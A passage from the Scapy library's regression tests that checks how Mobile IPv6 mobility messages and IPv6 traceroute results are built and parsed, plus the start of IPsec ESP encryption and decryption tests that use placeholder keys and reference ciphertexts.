==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Binding Refresh Request Message = MIP6MH_BRR - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00' = MIP6MH_BRR - Build with specific values raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_BRR - Basic dissection a=IPv6(b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == [] = MIP6MH_BRR - Dissection with specific values a=IPv6(b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA) = MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers() hoa="2001:db8:9999::1" coa="2001:db8:7777::1" cn="2001:db8:8888::1" ha="2001db8:6666::1" a=IPv6(raw(IPv6(src=cn, dst=hoa)/MIP6MH_BRR())) b=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01))) b2=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01))) c=IPv6(raw(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA())) b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2) len(b[IPv6ExtHdrDestOpt].options) == 2 ############ ############ + Home Test Init Message = MIP6MH_HoTI - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == b'\x00'*8 = MIP6MH_HoTI - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_HoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 ############ ############ + Care-of Test Init Message = MIP6MH_CoTI - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == b'\x00'*8 = MIP6MH_CoTI - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_CoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 ############ ############ + Home Test Message = MIP6MH_HoT - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_HoT - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_HoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 = MIP6MH_HoT answers a1, a2 = "2001:db8::1", "2001:db8::2" cookie = RandString(8)._fix() p1 = IPv6(src=a1, dst=a2)/MIP6MH_HoTI(cookie=cookie) p2 = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie=cookie) p2_ko = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie="".join(chr((orb(b'\xff') + 1) % 256))) assert p1.hashret() == p2.hashret() and p2.answers(p1) and not p1.answers(p2) assert p1.hashret() != p2_ko.hashret() and not p2_ko.answers(p1) and not p1.answers(p2_ko) ############ ############ + Care-of Test Message = MIP6MH_CoT - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_CoT - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_CoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 ############ ############ + Binding Update Message = MIP6MH_BU - build (default values) s= b'`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00' raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s = MIP6MH_BU - dissection (default values) p = IPv6(s) p[MIP6MH_BU].len == 1 = MIP6MH_BU - build s = b'`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s = MIP6MH_BU - dissection p = IPv6(s) p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42 ############ ############ + Binding ACK Message = MIP6MH_BA - build s = b'`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00' raw(IPv6()/MIP6MH_BA(mhtime=42)) == s = MIP6MH_BA - dissection p = IPv6(s) p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42 ############ ############ + Binding ERR Message = MIP6MH_BE - build s = b'`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' raw(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s = MIP6MH_BE - dissection p = IPv6(s) p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1 ############ ############ + TracerouteResult6 = get_trace() ip6_hlim = [("2001:db8::%d" % i, i) for i in range(1, 12)] tr6_packets = [ (IPv6(dst="2001:db8::1", src="2001:db8::254", hlim=hlim)/UDP()/"scapy", IPv6(dst="2001:db8::254", src=ip)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::254", hlim=0)/UDPerror()/"scapy") for (ip, hlim) in ip6_hlim ] tr6 = TracerouteResult6(tr6_packets) tr6.get_trace() == {'2001:db8::1': {1: ('2001:db8::1', False), 2: ('2001:db8::2', False), 3: ('2001:db8::3', False), 4: ('2001:db8::4', False), 5: ('2001:db8::5', False), 6: ('2001:db8::6', False), 7: ('2001:db8::7', False), 8: ('2001:db8::8', False), 9: ('2001:db8::9', False), 10: ('2001:db8::10', False), 11: ('2001:db8::11', False)}} = show() def test_show(): with ContextManagerCaptureOutput() as cmco: tr6 = TracerouteResult6(tr6_packets) tr6.show() result = cmco.get_output() expected = " 2001:db8::1 :udpdomain \n" expected += "1 2001:db8::1 3 \n" expected += "2 2001:db8::2 3 \n" expected += "3 2001:db8::3 3 \n" expected += "4 2001:db8::4 3 \n" expected += "5 2001:db8::5 3 \n" expected += "6 2001:db8::6 3 \n" expected += "7 2001:db8::7 3 \n" expected += "8 2001:db8::8 3 \n" expected += "9 2001:db8::9 3 \n" expected += "10 2001:db8::10 3 \n" expected += "11 2001:db8::11 3 \n" index_result = result.index("\n1") index_expected = expected.index("\n1") assert result[index_result:] == expected[index_expected:] test_show() = graph() saved_AS_resolver = conf.AS_resolver conf.AS_resolver = None tr6.make_graph() assert len(tr6.graphdef) == 530 assert tr6.graphdef.startswith("digraph trace {") '"2001:db8::1 53/udp";' in tr6.graphdef conf.AS_resolver = saved_AS_resolver ================================================ FILE: test/scapy/layers/ipsec.uts ================================================ ############################## % IPsec layer regression tests ############################## ~ crypto ############################################################################### + IPv4 / ESP - Transport - Encryption Algorithms ####################################### = IPv4 / ESP - Transport - NULL - NULL ~ -crypto import socket p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Transport - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key=b'8bytekey', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an ESP layer assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(des)' '0x38627974656b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x0f\x6d\x2f\x3d\x1e\xc1\x0b\xc2\xb6\x8f\xfd\x67\x39\xc0\x96\x2c' b'\x17\x79\x88\xf6\xbc\x4d\xf7\x45\xd8\x36\x63\x86\xcd\x08\x7c\x08' b'\x2b\xf8\xa2\x91\x18\x21\x88\xd9\x26\x00\xc5\x21\x24\xbf\x8f\xf5' b'\x6c\x47\xb0\x3a\x8e\xdb\x75\x21\xd9\x33\x85\x5a\x15\xc6\x31\x00' b'\x1c\xef\x3e\x12\xce\x70\xec\x8f\x48\xc7\x81\x9b\x66\xcb\xf5\x39' b'\x91\xb3\x8e\x72\xfb\x7f\x64\x65\x6c\xf4\xa9\xf2\x5e\x63\x2f\x60', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an ESP layer assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(des3_ede)' '0x7468726565646966666572656e743862797465736b657973' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x36\x5c\x9b\x41\x37\xc8\x59\x1e\x39\x63\xe8\x6b\xf7\x0d\x97\x54' b'\x13\x84\xf6\x81\x66\x19\xe7\xcb\x75\x94\xf1\x0b\x8e\xa3\xf1\xa0' b'\x3e\x88\x51\xc4\x50\xd0\xa9\x1f\x16\x25\xc6\xbd\xe9\x0b\xdc\xae' b'\xf8\x13\x00\xa3\x8c\x53\xee\x1c\x96\xc0\xfe\x99\x70\xab\x94\x77' b'\xd7\xc4\xe8\xfd\x9f\x96\x28\xb8\x95\x20\x86\x7b\x19\xbc\x8f\xf5' b'\x96\xb0\x7e\xcc\x04\x83\xae\x4d\xa3\xba\x1d\x44\xf0\xba\x2e\xcd', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(aes)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x08\x2f\x94\xe6\x53\xd8\x8e\x13\x70\xe8\xff\x61\x52\x90\x27\x3c' b'\xf2\xb4\x1f\x75\xd2\xa0\xac\xae\x1c\xa8\x5e\x1c\x78\x21\x4c\x7f' b'\xc3\x30\x17\x6a\x8d\xf3\xb1\xa7\xd1\xa8\x42\x01\xd6\x8d\x2d\x7e' b'\x5d\x06\xdf\xaa\x05\x27\x42\xb1\x00\x12\xcf\xff\x64\x02\x5a\x40' b'\xcd\xca\x1b\x91\xba\xf8\xc8\x59\xe7\xbd\x4d\x19\xb4\x8d\x39\x25' b'\x6c\x73\xf1\x2d\xaa\xee\xe1\x0b\x71\xcd\xfc\x11\x1d\x56\xce\x60' b'\xed\xd2\x32\x87\xd4\x90\xc3\xf5\x31\x47\x97\x69\x83\x82\x6d\x38', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'rfc3686(ctr(aes))' '0x3136627974656b65792b34627974656e6f6e6365' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\xc4\xca\x09\x0f\x8b\xd3\x05\x3d\xac\x5a\x2f\x87\xca\x71\x10\x01' b'\xa7\x95\xc9\x07\xcc\xd4\x05\x58\x65\x23\x22\x4b\x63\x9b\x1f\xef' b'\x55\xb9\x1a\x91\x52\x76\x00\xf7\x94\x7b\x1d\xe1\x8e\x03\x2e\x85' b'\xad\xdd\x83\x22\x8a\xc3\x88\x6e\x85\xf5\x9b\xed\xa9\x6e\xb1\xc3' b'\x78\x00\x2f\xcd\x77\xe8\x3e\xec\x0e\x77\x94\xb2\x9b\x0f\x64\x5e' b'\x09\x83\x03\x7d\x83\x22\x39\xbb\x94\x66\xae\x9f\xbf\x01\xda\xfb', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(blowfish)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x93\x9f\x5a\x10\x55\x57\x30\xa0\xb4\x00\x72\x1e\x46\x42\x46\x20' b'\xbc\x01\xef\xc3\x79\xcc\x3e\x55\x64\xba\x09\xc2\x6a\x5a\x5c\xb3' b'\xcc\xb5\xd5\x87\x82\xb0\x0a\x94\x58\xfc\x50\x37\x40\xe1\x03\xd3' b'\x4a\x09\xb2\x23\x53\x56\xa4\x45\x4c\xbb\x81\x1c\xdb\x31\xa7\x67' b'\xbd\x38\x8e\xba\x55\xd9\x1f\xf1\x3c\xeb\x07\x4c\x02\xb0\x3e\xc5' b'\xf6\x60\xdd\x68\xe1\xd4\xec\xee\x27\xc0\x6d\x1a\x80\xe2\xcc\x7d', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ####################################### = IPv4 / ESP - Transport - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= 